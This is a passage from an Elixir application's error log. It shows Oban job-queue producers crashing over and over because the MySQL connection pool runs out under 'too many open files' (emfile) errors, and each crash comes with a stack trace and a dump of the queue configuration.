  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:07:42.244988Z], limit: 5, uuid: "78b1eb16-acee-4087-bc8e-d5f22d467680", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:42.244994Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253647>, refresh_timer: #Reference<0.2525715032.1099431938.4864>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:54.383000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:55.168000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:56.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:58.252000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:01.044000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:02.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:03.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:04.399000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:05.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:06.095000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:07:54.243752Z], limit: 20, uuid: "41d3297d-ba51-4d49-84f1-beeadc507f05", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:54.243757Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5162>, refresh_timer: #Reference<0.2525715032.1121189889.108173>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:07:54.248425Z], limit: 5, uuid: "c8b6881c-19a7-49db-b08a-001bec6ae6a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:54.248431Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5226>, refresh_timer: #Reference<0.2525715032.1099431938.5173>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:07:54.242912Z], limit: 3, uuid: "6652134c-cbe6-4c25-a8fa-5e0bf0915986", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:54.242921Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5165>, refresh_timer: #Reference<0.2525715032.1121189889.108144>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:07:54.244123Z], limit: 10, uuid: "3bddde56-0d13-4f96-8903-89ace53c2de7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:54.244129Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5163>, refresh_timer: #Reference<0.2525715032.1121189889.108186>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:07:54.245523Z], limit: 5, uuid: "9bc33627-e4cb-455a-9707-0371829d3583", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:54.245529Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5161>, refresh_timer: #Reference<0.2525715032.1099431938.5150>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:07.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:07:54.243340Z], limit: 50, uuid: "a9867888-ff75-430b-b8fd-63b694e2e1b3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:54.243345Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5164>, refresh_timer: #Reference<0.2525715032.1121189889.108158>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:12.350000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:16.273000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:16.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:17.036000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:08:07.246509Z], limit: 50, uuid: "a2cfa407-acdb-4303-9ab8-867d2421571b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:07.246516Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5613>, refresh_timer: #Reference<0.2525715032.1121189889.108317>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
